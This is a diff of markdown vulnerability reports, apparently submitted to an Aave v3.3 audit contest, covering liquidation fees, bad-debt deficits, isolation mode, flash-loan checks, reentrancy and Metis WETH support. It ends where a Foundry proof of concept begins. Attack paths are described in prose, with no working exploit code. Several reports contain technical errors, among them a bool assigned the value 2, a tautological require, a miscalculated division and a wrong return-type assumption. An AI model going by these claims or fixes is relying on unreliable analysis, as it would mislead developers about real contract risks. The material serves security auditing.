repaid (`actualDebtToLiquidate`)](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L570), the code subtracts the difference (`amountToBurn`) from `outstandingDebt`. This logic fails to account for scenarios where the residual interest should not affect the tracked bad debt, resulting in inaccurate deficit accounting. The protocol's bad debt metrics become unreliable, potentially misallocating resources for recovery or treasury management. + +### Internal Pre-conditions: +1. User has an outstanding GHO debt and accrued interest. +2. Liquidation partially covers the debt but leaves residual interest greater than the debt repaid. + +### External Pre-conditions: +1. GHO asset configuration must permit liquidation under the existing conditions. +2. Liquidation thresholds and health factors trigger the liquidation. + +### Attack Path: +1. Liquidator initiates a liquidation call. +2. Partial repayment leads to execution of `_burnDebtTokens`. +3. The subtraction misapplies the interest adjustment, inflating or deflating `outstandingDebt`. + +### Impact: +The protocol suffers inaccurate bad debt tracking, affecting deficit recovery and potentially misallocating treasury resources. + +### Mitigation: +Update the logic in `_burnDebtTokens` to properly account for remaining interest and ensure `outstandingDebt` reflects the correct post-liquidation balance. \ No newline at end of file diff --git a/042.md b/042.md new file mode 100644 index 0000000..ad1e1d0 --- /dev/null +++ b/042.md @@ -0,0 +1,61 @@ +Glamorous Plum Baboon + +High + +# Unchecked External Calls in BorrowLogic + +### Summary: +In the `BorrowLogic` library of the Aave protocol, the functions `executeBorrow` and `executeRepay` make several external calls to interfaces like `IVariableDebtToken` and `IAToken` without validating their return values. This oversight could result in unexpected contract behavior if these external calls fail, potentially leading to financial losses or incorrect state changes. + + +### Root Cause: +The root cause of the issue is the lack of proper error handling for external function calls. Specifically: +1. In `executeBorrow`, the external call to `mint()` on the `IVariableDebtToken` interface is not checked for success. +2. In both `executeBorrow` and `executeRepay`, external calls to `IAToken` functions like `transferUnderlyingTo()` and `burn()` are not verified to ensure they execute successfully. + +Without these checks, failures in these external contracts (e.g., failed token transfers or debt minting) will not revert the transaction or provide feedback to the user, leaving the contract in an inconsistent state. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L101-L107 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L187-L195 + + + + + +### Impact: +i, **Financial Loss**: If the external calls fail (e.g., if the minting of the debt token fails), users may not receive the correct debt or collateral, leading to unexpected financial loss or asset mismanagement. +ii, **Inconsistent Contract State**: Failing to check the results of these external calls could leave the contract in an inconsistent state, where user balances or debt information is inaccurate. +iii, **Potential for Exploits**: A malicious actor could exploit the lack of validation to manipulate or interact with the contract in unintended ways, such as by triggering a state where they are able to avoid debt repayment or withdraw funds that they should not be able to access. + + + +### PoC (Proof of Concept): +To demonstrate the issue, consider the following scenario: +- A user initiates a borrow operation via `executeBorrow`, which internally calls the `mint()` function of the `IVariableDebtToken` contract. If this call fails (e.g., due to insufficient gas or contract logic failure), the borrow operation will proceed as if the minting was successful, leading to a discrepancy in the user's debt and the contract state. +- Similarly, in `executeRepay`, if the `burn()` function in the `IVariableDebtToken` or `IAToken` fails, the contract would incorrectly track the user’s repayment, leading to inconsistent debt records. + + +### Mitigation: +1. **Check External Call Return Values**: Each external function call, such as `mint()` and `burn()`, should have its return value checked to confirm that the operation was successful. + + Example for `mint()`: + ```solidity + bool success = IVariableDebtToken(reserveCache.variableDebtTokenAddress).mint( + params.user, + params.onBehalfOf, + params.amount, + reserveCache.nextVariableBorrowIndex + ); + require(success, "Debt token mint failed"); + ``` + +2. **Use `require` Statements**: Where applicable, use `require` to ensure the success of external calls. This will revert the transaction in case of failure, preventing any inconsistencies in the contract state. + +3. **Implement Revert Messages**: Provide meaningful revert messages that will help in debugging if the external calls fail. This can help developers and auditors quickly pinpoint where failures occur. + + +TAKE HOME +1, This bug was found in the `executeBorrow` and `executeRepay` functions but could be applicable to other similar functions in the contract or related libraries. +2, It is important to always validate the return values of external calls in Solidity to ensure the robustness and security of the contract. +3, Adding checks for external calls is a best practice that aligns with the security principles of smart contract development. \ No newline at end of file diff --git a/043.md b/043.md new file mode 100644 index 0000000..5e2afd0 --- /dev/null +++ b/043.md @@ -0,0 +1,41 @@ +Obedient Lava Monkey + +Medium + +# Insufficient liquidity check in flash loan validation enables reserve depletion + +### Summary: +The lack of an **available liquidity check** in `validateFlashloanSimple` (line where flash loan validation occurs) will cause **reserve depletion** for **the protocol** as **an attacker** will bypass liquidity constraints and execute a flash loan exceeding available liquidity. + +--- + +### Root Cause: +In `ValidationLogic.validateFlashloanSimple` [line where `!configuration.getIsVirtualAccActive()` is checked](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L359-L363), the validation incorrectly relies on `totalSupply` instead of verifying `availableLiquidity`. + +--- + +### Internal Pre-conditions: +1. A reserve needs to have a `getIsVirtualAccActive` flag set to `true`. +2. The reserve's total supply must be greater than or equal to the flash loan request, but the `availableLiquidity` is insufficient. + +--- + +### External Pre-conditions: +1. The attacker has the ability to call the `flashLoan` function for the affected reserve. + +--- + +### Attack Path: +1. The attacker calls the protocol’s `flashLoan` function with an amount exceeding the reserve's `availableLiquidity`. +2. The protocol validates the request using `totalSupply` rather than `availableLiquidity`. +3. The protocol erroneously approves the flash loan, draining liquidity and destabilizing the reserve. + +--- + +### Impact: +The **protocol** suffers potential insolvency, leaving users unable to withdraw or borrow from the reserve. + +--- + +### Mitigation: +Replace the `totalSupply` check in `validateFlashloanSimple` with a check against `availableLiquidity` to ensure the requested flash loan amount is backed by sufficient liquidity in the reserve. \ No newline at end of file diff --git a/044.md b/044.md new file mode 100644 index 0000000..231625c --- /dev/null +++ b/044.md @@ -0,0 +1,42 @@ +Obedient Lava Monkey + +Medium + +# Incorrect handling of bad debt with zero collateral positions can cause an infinite deficit increase. + +### **Summary** +The lack of a condition to check whether a reserve's `deficit` has already been updated for bad debt will cause repeated additions to the `deficit` in **`_burnDebtTokens`**, leading to a continually growing `deficit` for zero-collateral positions during multiple calls to liquidation or debt-cleanup functions. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within `_burnDebtTokens`), the protocol assumes that `outstandingDebt` after liquidation should always be [added to](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L580) `deficit`. However, if [hasNoCollateralLeft](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L552)is `true` and the reserve already contains the bad debt from previous calls, the `deficit` will be incremented repeatedly without bounds. + +--- + +### **Internal Pre-conditions** +1. The user has no collateral left (`hasNoCollateralLeft == true`). +2. `outstandingDebt != 0` (e.g., from accrued interest or partial liquidation). +3. The function `_burnDebtTokens` is called multiple times for the same reserve and user. + +--- + +### **External Pre-conditions** +None (assumes trusted dependencies). + +--- + +### **Attack Path** +1. A user becomes undercollateralized or leaves bad debt after liquidation. +2. The `deficit` for the reserve is updated in `_burnDebtTokens` during the first call. +3. The same user’s bad debt triggers multiple liquidation or debt cleanup calls, and the `deficit` is incremented each time without checking if it already includes the user's outstanding debt. + +--- + +### **Impact** +The protocol suffers an **unbounded inflation of the reserve’s `deficit`**, making it impossible to accurately track the actual bad debt. This could mislead governance and treasury operations, ultimately damaging the protocol's financial integrity. + +--- + +### **Mitigation** +Add a check to ensure that the user's outstanding debt is only added to the reserve's `deficit` once. \ No newline at end of file diff --git a/045.md b/045.md new file mode 100644 index 0000000..3998580 --- /dev/null +++ b/045.md @@ -0,0 +1,43 @@ +Obedient Lava Monkey + +Medium + +# Unrestricted transfer of aTokens during liquidation can bypass isolation mode restrictions. + +### **Summary** +The unrestricted transfer of aTokens in `_liquidateATokens` will cause isolation mode restrictions to be bypassed for the liquidator as the `transferOnLiquidation` function does not enforce isolation mode constraints, allowing the liquidator to hold isolated aTokens and potentially over-leverage their position. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within `_liquidateATokens`), the [transferOnLiquidation](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L486-L490) function transfers aTokens to the liquidator without verifying isolation mode constraints on the liquidator's configuration. Isolation mode limits are only checked when using tokens as collateral but are not enforced during liquidation transfers. + +--- + +### **Internal Pre-conditions** +1. A reserve is marked as isolated in its configuration. +2. A user holds aTokens in isolation mode and gets liquidated. +3. The liquidator has a position that could violate isolation mode constraints upon receiving the aTokens. + +--- + +### **External Pre-conditions** +None (assumes trusted dependencies). + +--- + +### **Attack Path** +1. A user gets liquidated while holding aTokens from an isolated reserve. +2. The liquidator receives the isolated aTokens via `transferOnLiquidation`. +3. The protocol does not verify isolation mode constraints on the liquidator's position during the transfer. +4. The liquidator uses the isolated aTokens as collateral, bypassing isolation mode limits and potentially over-leveraging their position. + +--- + +### **Impact** +Liquidators could over-leverage positions, increasing the likelihood of cascading liquidations and insolvency in edge cases. + +--- + +### **Mitigation** +Before enabling the liquidator's aTokens as collateral, enforce isolation mode constraints by checking the liquidator's updated configuration after receiving the `aTokens`. \ No newline at end of file diff --git a/046.md b/046.md new file mode 100644 index 0000000..2e1ac4b --- /dev/null +++ b/046.md @@ -0,0 +1,45 @@ +Obedient Lava Monkey + +Medium + +# Incorrect handling of `liquidationProtocolFee` can lead to protocol fee miscalculation or loss. + +### **Summary** +The calculation of `liquidationProtocolFee` in `_calculateAvailableCollateralToLiquidate` incorrectly deducts the fee from the `collateralAmount` before returning, which may lead to a mismatch in the total collateral liquidated versus what is credited to the liquidator and the protocol. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within [_calculateAvailableCollateralToLiquidate](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L671)), the `liquidationProtocolFee` is subtracted from the `collateralAmount` without ensuring proper separation of the liquidator's and protocol's shares. This can result in: +1. Liquidators receiving less collateral than expected. +2. The protocol's fee being double-counted or inaccurately applied. + +--- + +### **Internal Pre-conditions** +1. A liquidation occurs where the `liquidationProtocolFeePercentage` is non-zero. +2. The calculated `liquidationProtocolFee` is deducted from the total `collateralAmount`. + +--- + +### **External Pre-conditions** +None (assumes trusted dependencies). + +--- + +### **Attack Path** +1. A liquidator calls the liquidation function. +2. The `_calculateAvailableCollateralToLiquidate` function deducts the `liquidationProtocolFee` from `collateralAmount`. +3. The returned `collateralAmount` excludes the protocol's fee, causing: + - A mismatch in expected collateral transfer to the liquidator. + - Potential double deduction of the protocol fee if the function consuming this logic also accounts for the fee separately. + +--- + +### **Impact** +The protocol may lose fees, or liquidators may receive less collateral than expected, reducing their incentive to participate in liquidation. This could destabilize the protocol's liquidation process and treasury balance. + +--- + +### **Mitigation** +Separate the `collateralAmount` and `liquidationProtocolFee` in the return values and ensure they are handled independently downstream. \ No newline at end of file diff --git a/047.md b/047.md new file mode 100644 index 0000000..537768e --- /dev/null +++ b/047.md @@ -0,0 +1,68 @@ +Glamorous Plum Baboon + +Medium + +# Lack of Input Validation in executeRepay Function in BorrowLogic Contract + +**## **Summary** + +This report identifies a **lack of input validation** in the `executeRepay` function within the `BorrowLogic` library, which could potentially allow users to pass invalid parameters such as the `useATokens` value, causing unintended behaviors or errors in the contract. The lack of proper validation could have security implications in how the function operates, especially in the context of token repayments. + +## **Description** + +The `executeRepay` function is responsible for processing repayments of borrowed assets. It allows users to repay loans using either the underlying asset or aTokens. However, a critical input parameter, `params.useATokens`, is used without validating its value before it is processed. + +### Issue: +- **Unvalidated input**: The `params.useATokens` value, which determines whether the user is repaying using aTokens, is used directly without validation. This may lead to incorrect behavior if an invalid or unexpected value is provided. + +### Affected Function: +- `executeRepay` in the **BorrowLogic** library. + +## **Root Cause** + +The root cause of the issue is the absence of input validation for the `params.useATokens` parameter in the `executeRepay` function. + +### Location: +- Line 179: `if (params.useATokens && params.amount == type(uint256).max) { ... }` +- Line 210: `if (params.useATokens) { ... }` +- + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L179-L213 + +The `params.useATokens` parameter is used without ensuring that its value is within the expected range, i.e., a boolean value indicating whether the repayment should be done using aTokens or not. + +## **Impact** + +This issue could cause several potential impacts: +1. **Unexpected Behavior**: If an unexpected value (other than `true` or `false`) is passed for `params.useATokens`, the function may execute in an unintended way. +2. **Security Vulnerability**: While this issue may not be an immediate exploit, the lack of validation opens the contract up to potential issues or abuse in future interactions, especially with untrusted or malicious actors. +3. **Incorrect Debt Repayment**: The repayment process could malfunction if the value is improperly passed, causing incorrect repayment amounts or behavior with aTokens and underlying assets. + +The severity of this issue can range from medium to high, depending on the context in which the contract is used and how inputs are handled. + +## **Proof of Concept (PoC)** + +Here’s a simple Proof of Concept (PoC) that demonstrates the issue: + +- **Step 1**: Call the `executeRepay` function with an invalid value for `params.useATokens` (e.g., a value other than `true` or `false`). + +```solidity +// Example of invalid input (invalid value for useATokens) +params.useATokens = 2; // Invalid value +params.amount = 1000; // Some valid amount +``` + +- **Step 2**: Observe that the contract does not validate the value of `params.useATokens`, and proceeds with the repayment logic, possibly causing errors or unwanted behavior. + +## **Mitigation** + +To mitigate this issue, it is necessary to validate the `params.useATokens` parameter before using it in any conditional logic. + +### Suggested Fix: +Add input validation for the `params.useATokens` value to ensure it is a boolean value, as it is expected to be used for a logical comparison: + +```solidity +require(params.useATokens == true || params.useATokens == false, "Invalid value for useATokens"); +``` + +This simple validation step ensures that the value is either `true` or `false`, thus avoiding any unexpected behavior. \ No newline at end of file diff --git a/048.md b/048.md new file mode 100644 index 0000000..77dce7f --- /dev/null +++ b/048.md @@ -0,0 +1,44 @@ +Obedient Lava Monkey + +Medium + +# Health Factor recalculation delay allows liquidators to over-liquidate users. + +### **Summary** +The delayed health factor recalculation in `executeLiquidationCall` allows liquidators to over-liquidate users, especially in scenarios involving multiple liquidations in a single block or gas-efficient batching systems. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within [executeLiquidationCall](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L215-L251)), the user's health factor is not recalculated after each liquidation. As a result, if multiple liquidators act on the same user in rapid succession (e.g., during a high-stress market event), the user’s position can be over-liquidated. [_burnCollateralATokens](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L384) +[_burnDebtTokens](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L359) + +--- + +### **Internal Pre-conditions** +1. A user's health factor is initially below `1`, making them eligible for liquidation. +2. Multiple liquidators submit liquidation transactions within the same block or immediately after one another. +3. The user has sufficient collateral for over-liquidation. + +--- + +### **External Pre-conditions** +None (assumes the protocol is under high market activity or stress). + +--- + +### **Attack Path** +1. A user’s position becomes liquidatable (health factor < 1). +2. Liquidator A submits a transaction to liquidate part of the user's debt. +3. Before the transaction is mined and the user's health factor is updated, Liquidator B also submits a liquidation transaction, assuming the original health factor. +4. Both transactions succeed, resulting in the user’s position being over-liquidated. + +--- + +### **Impact** +The protocol allows **over-liquidation of user positions**, potentially reducing the collateral left for the user and transferring excess collateral to liquidators. This damages user trust and exposes the protocol to legal or reputational risks. + +--- + +### **Mitigation** +Recalculate and enforce the health factor after each liquidation to ensure no additional liquidations occur once the health factor recovers above the threshold. \ No newline at end of file diff --git a/049.md b/049.md new file mode 100644 index 0000000..99157af --- /dev/null +++ b/049.md @@ -0,0 +1,60 @@ +Obedient Lava Monkey + +High + +# Protocol fee misalignment in collateral liquidation causes treasury losses. + +### **Summary** +The `liquidationProtocolFee` is deducted from the **bonus collateral** instead of the total collateral, which results in misaligned fee calculations, leading to lower-than-expected protocol fees for the treasury. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within `_calculateAvailableCollateralToLiquidate`), the `liquidationProtocolFee` is calculated using only the [bonus collateral](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L664-L666) (`collateralAmount - collateralAmount.percentDiv(liquidationBonus)`) instead of the **total collateral amount** being liquidated. This creates an unintended reduction in fees collected by the protocol. + +The **`liquidationProtocolFee`** is calculated only on the **bonus collateral** instead of the **total collateral amount being liquidated**. The bonus collateral is computed as: +```solidity + vars.bonusCollateral = + vars.collateralAmount - + vars.collateralAmount.percentDiv(liquidationBonus); +``` + +Then, the fee is applied [only to this bonus](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L668-L670) portion: +```solidity + vars.liquidationProtocolFee = vars.bonusCollateral.percentMul( + vars.liquidationProtocolFeePercentage + ); +``` + +This approach ignores the base collateral portion (`collateralAmount - bonusCollateral`), meaning the protocol collects fees on a smaller value than the actual collateral liquidated. + +**Correct Behavior**: The protocol fee should be calculated on the **entire `collateralAmount`**, not just the bonus, to align with the expected fee structure. + +--- + +### **Internal Pre-conditions** +1. The `liquidationBonus` is greater than `0`, leading to a bonus collateral calculation. +2. The `liquidationProtocolFeePercentage` is set to a non-zero value in the reserve configuration. +3. The protocol fee calculation is applied only to the bonus collateral. + +--- + +### **External Pre-conditions** +None (assumes trusted dependencies and valid oracle prices). + +--- + +### **Attack Path** +1. A liquidator initiates a liquidation for a user holding collateral. +2. The `_calculateAvailableCollateralToLiquidate` function applies the `liquidationProtocolFee` only on the **bonus collateral**. +3. The protocol collects less in fees than it should, as the fee is not calculated on the total collateral amount. + +--- + +### **Impact** +The protocol treasury collects lower fees than expected for liquidations, leading to significant losses over time as the fee structure is misaligned with the total collateral liquidated. + +--- + +### **Mitigation** +The `liquidationProtocolFee` should be calculated on the **total collateral amount** instead of just the bonus collateral. Update the fee calculation in `_calculateAvailableCollateralToLiquidate`. \ No newline at end of file diff --git a/050.md b/050.md new file mode 100644 index 0000000..dbaceb1 --- /dev/null +++ b/050.md @@ -0,0 +1,43 @@ +Obedient Lava Monkey + +Medium + +# Incorrect handling of partially liquidated isolated reserves can break debt ceiling enforcement. + +### **Summary** +After a partial liquidation in an isolated reserve, the system does not properly adjust the isolation mode debt tracking to reflect the reduced debt, leading to potential breaches of the debt ceiling in future operations. + +--- + +### **Root Cause** +In `LiquidationLogic.sol` (within `executeLiquidationCall`), the function [IsolationModeLogic.updateIsolatedDebtIfIsolated](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L373-L379) is called only after the liquidation is complete, but it does not accurately reflect the reduced `actualDebtToLiquidate` [during partial liquidations](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L366). The `isolationModeTotalDebt` remains unchanged or improperly updated, causing inaccuracies in debt ceiling enforcement. + +--- + +### **Internal Pre-conditions** +1. A reserve is configured as isolated with an active debt ceiling (`reserveConfiguration.getIsolated()` is `true`). +2. The user’s position is partially liquidated (`actualDebtToLiquidate < userReserveDebt`). +3. `IsolationModeLogic.updateIsolatedDebtIfIsolated` fails to properly adjust the reserve’s `isolationModeTotalDebt`. + +--- + +### **External Pre-conditions** +None (assumes no external dependencies on this logic). + +--- + +### **Attack Path** +1. A user with an isolated reserve is partially liquidated. +2. The protocol does not properly adjust the `isolationModeTotalDebt` for the isolated reserve after the partial liquidation. +3. Future borrowing or liquidations proceed, assuming the outdated `isolationModeTotalDebt`. +4. The debt ceiling is unintentionally exceeded due to stale tracking. + +--- + +### **Impact** +The protocol’s isolation mode guarantees are broken, potentially leading to over-leverage within isolated reserves. This could expose the entire protocol to systemic risks that isolation mode was designed to contain. + +--- + +### **Mitigation** +Ensure `IsolationModeLogic.updateIsolatedDebtIfIsolated` accurately subtracts `actualDebtToLiquidate` from the `isolationModeTotalDebt` during partial liquidations. \ No newline at end of file diff --git a/051.md b/051.md new file mode 100644 index 0000000..b027893 --- /dev/null +++ b/051.md @@ -0,0 +1,80 @@ +Glamorous Plum Baboon + +Medium + +# Potential Precision Loss in executeBorrow Due to Division and Conversion to `uint128` + +### Summary: +The `BorrowLogic:executeBorrow` function performs a division operation to calculate the next isolation mode total debt, followed by a conversion to `uint128`. This calculation risks precision loss due to integer division and potential silent truncation during the conversion to `uint128`. This could lead to inaccuracies in debt tracking and possible over- or under-collateralization in isolation mode. + + +### Description: +In the `BorrowLogic:executeBorrow` function, the calculation of `nextIsolationModeTotalDebt` involves dividing `params.amount` by a power of 10 determined by `(reserveCache.reserveConfiguration.getDecimals() - ReserveConfiguration.DEBT_CEILING_DECIMALS)`. This result is then cast to a `uint128`. +1, Solidity performs integer division, discarding any fractional parts, leading to potential precision loss. +2, The conversion to `uint128` risks truncation if the result exceeds the range of `uint128`. + +This could cause inaccuracies in isolation mode debt calculations and potentially result in unintended protocol behavior. + + + +### Root Cause: +The calculation: +```solidity +uint256 nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt += (params.amount / + 10 ** + (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); +``` + +performs: +1. Integer division, leading to truncation of fractional parts. +2. Conversion to `uint128`, which can silently truncate values exceeding the maximum range of `uint128`. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L110-L120 + +### Impact: +i, **Precision Loss**: Integer division truncates fractional values, leading to imprecise debt calculations. +ii, **Truncation on Casting**: If the calculated value exceeds `uint128` limits, it will be silently truncated. +iii, **Risk of Over-/Under-Collateralization**: In isolation mode, debt tracking inaccuracies could cause protocol inefficiencies or financial risk to users. + + +### Proof of Concept (PoC): + +Consider a scenario where: + `params.amount = 1,000,000` +`reserveCache.reserveConfiguration.getDecimals() = 18` + `ReserveConfiguration.DEBT_CEILING_DECIMALS = 2` + +The calculation becomes: + +```solidity +nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt += (1,000,000 / 10 ** (18 - 2)).toUint128(); +``` + +Here: +1. The division results in `1,000,000 / 10 ** 16`, which equals `0.0001` but is truncated to `0` due to integer division. +2. The `toUint128` conversion would then cast this incorrect value, resulting in precision loss. + + + +### Mitigation: +To mitigate the precision loss and truncation: +1. Use fixed-point arithmetic libraries, such as `WadRayMath`, to perform precise calculations. +2. Ensure safe conversion to `uint128` by adding a validation step to confirm the calculated value fits within the range of `uint128`. + +#### Updated Code: +```solidity +uint256 calculatedAmount = (params.amount * + 10 ** ReserveConfiguration.DEBT_CEILING_DECIMALS) / + 10 ** reserveCache.reserveConfiguration.getDecimals(); + +require(calculatedAmount <= type(uint128).max, "Overflow in uint128 conversion"); + +uint256 nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt += uint128(calculatedAmount); +``` + +- **Fixed-point arithmetic** ensures fractional values are handled correctly. +- **Validation check** ensures no overflow occurs during the `uint128` conversion. \ No newline at end of file diff --git a/052.md b/052.md new file mode 100644 index 0000000..c9ca335 --- /dev/null +++ b/052.md @@ -0,0 +1,59 @@ +Glamorous Plum Baboon + +High + +# Potential Reentrancy Risk in Pool Contract + +**Summary**: +The Pool contract exposes a potential reentrancy vulnerability in the functions `withdraw`, `borrow`, and `repayWithATokens`. These functions interact with external contracts, and if any of these external calls reenter the Pool contract, it could lead to inconsistent contract states. Implementing reentrancy protection is recommended to mitigate this risk. + + +**Description**: +The `withdraw`, `borrow`, and `repayWithATokens` functions in the Pool contract perform operations that involve external contract calls, such as token transfers or interactions with other decentralized protocols. However, these functions lack proper reentrancy protection, allowing the possibility for malicious external contracts to re-enter the Pool contract, causing unintended changes to the contract's state. + +This issue arises when the external call (e.g., token transfer) triggers a callback to the Pool contract, which may modify the state or trigger other actions before the initial transaction is fully processed, resulting in a reentrancy vulnerability. + +**Root Cause**: +The core issue stems from the Pool contract's failure to protect against reentrancy in critical functions. Specifically, functions such as `withdraw`, `borrow`, and `repayWithATokens` change the contract's state before performing external calls. This can create an opening for malicious contracts to exploit the lack of protection by reentering the contract during these external calls. + +The vulnerable Lines of Code (LoC) are in the following sections: + +- **withdraw function**: State change occurs before external call to token transfer. +- **borrow function**: State change occurs before external call to transfer tokens. +- **repayWithATokens function**: State change occurs before external contract interaction. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L200-L220 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L223-L249 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L309-L327 + + +**Impact**: +Without proper reentrancy protection, an attacker can exploit the vulnerability to: + +1. **Drain funds**: Re-entering the contract during state changes could allow attackers to withdraw or borrow more tokens than intended. +2. **State inconsistencies**: Reentrancy could cause the contract to operate on outdated or inconsistent state data, leading to logic errors and potentially corrupting the pool's integrity. +3. **Loss of funds**: Users could unknowingly lose their funds due to improper handling of state changes. + +In the worst case, this vulnerability could lead to the complete loss of the contract’s funds or assets, potentially affecting all participants. + + +**POC (Proof of Concept)**: +The following is a simplified example of how an attacker could exploit the reentrancy issue. This assumes the attacker creates a malicious contract that calls back into the Pool contract’s `withdraw` function during the execution of the external token transfer: + +1. The attacker initiates a withdrawal from the Pool contract, triggering the `withdraw` function. +2. During the external token transfer, the attacker’s malicious contract triggers a callback to the `withdraw` function before the initial transaction is complete. +3. This reentrancy allows the attacker to withdraw more tokens than intended, as the state change for the initial withdrawal has not been processed yet. + +**Recommended Mitigation**: +To mitigate this risk, we recommend implementing reentrancy protection in the affected functions. Specifically, integrating a reentrancy guard mechanism will prevent malicious contracts from making reentrant calls to the Pool contract. + +**Actionable steps**: +1. **Use OpenZeppelin's `ReentrancyGuard`**: + Add the `ReentrancyGuard` modifier from OpenZeppelin's contract library to each of the state-changing functions that interact with external contracts (`withdraw`, `borrow`, `repayWithATokens`). + +2. **State changes after external calls**: + Another approach is to ensure that all external calls (e.g., token transfers) happen after the state changes are made. This reduces the chance of a malicious contract reentering and manipulating the contract's state. + +By taking these actions, the Pool contract will be secured against reentrancy attacks and provide better safety to its users and funds. \ No newline at end of file diff --git a/053.md b/053.md new file mode 100644 index 0000000..5b04de4 --- /dev/null +++ b/053.md @@ -0,0 +1,103 @@ +Precise Pistachio Owl + +Medium + +# WETH token on Metis does not have deposit() and withdraw() functions + +### Summary + +`WrappedTokenGatewayV3` is to be deployed on Metis blockchain as listed in the contract scope. Across several of its functions, it calls `WETH.deposit()` and `WETH.withdraw()`, but these functions are not part of the functions for WETH token on Metis. + +### Root Cause + +WETH token on METIS does not have any functions named deposit() and withdraw(). + +explorer link: https://explorer.metis.io/token/0x420000000000000000000000000000000000000A/contract/writeContract + +This causes the functions [depositETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L45-L46), [withdrawETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L66), [repayETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L75-L84), [borrowETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L101-L109), [withdrawETHWithPermit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122-L143) to all revert because they all try to call WETH.deposit() or WETH.withdraw() in their logic. + +### Internal Pre-conditions + +1. `WrappedTokenGatewayV3` gets deployed on METIS mainnet. +2. 0x420000000000000000000000000000000000000A which is the WETH on METIS is set as WETH variable in contract during deployment. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. `WrappedTokenGatewayV3` gets deployed on METIS mainnet. +2. 0x420000000000000000000000000000000000000A which is the WETH on METIS is set as WETH variable in contract during deployment. +3. Calls to [depositETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L45-L46), [withdrawETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L66), [repayETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L75-L84), [borrowETH()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L101-L109), [withdrawETHWithPermit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122-L143) gets reverted. + +### Impact + +The contract `WrappedTokenGatewayV3` is unuseable on METIS because the WETH contract there has no `deposit()` and `withdraw()`. + +### PoC + + + + +run with `forge test --mt test_InvalidFunctionWethCallOnMetis --fork-url $RPC_METIS -vvvvv` +```solidity +// SPDX-License-Identifier: BUSL-1.1 +pragma solidity ^0.8.0; + +import 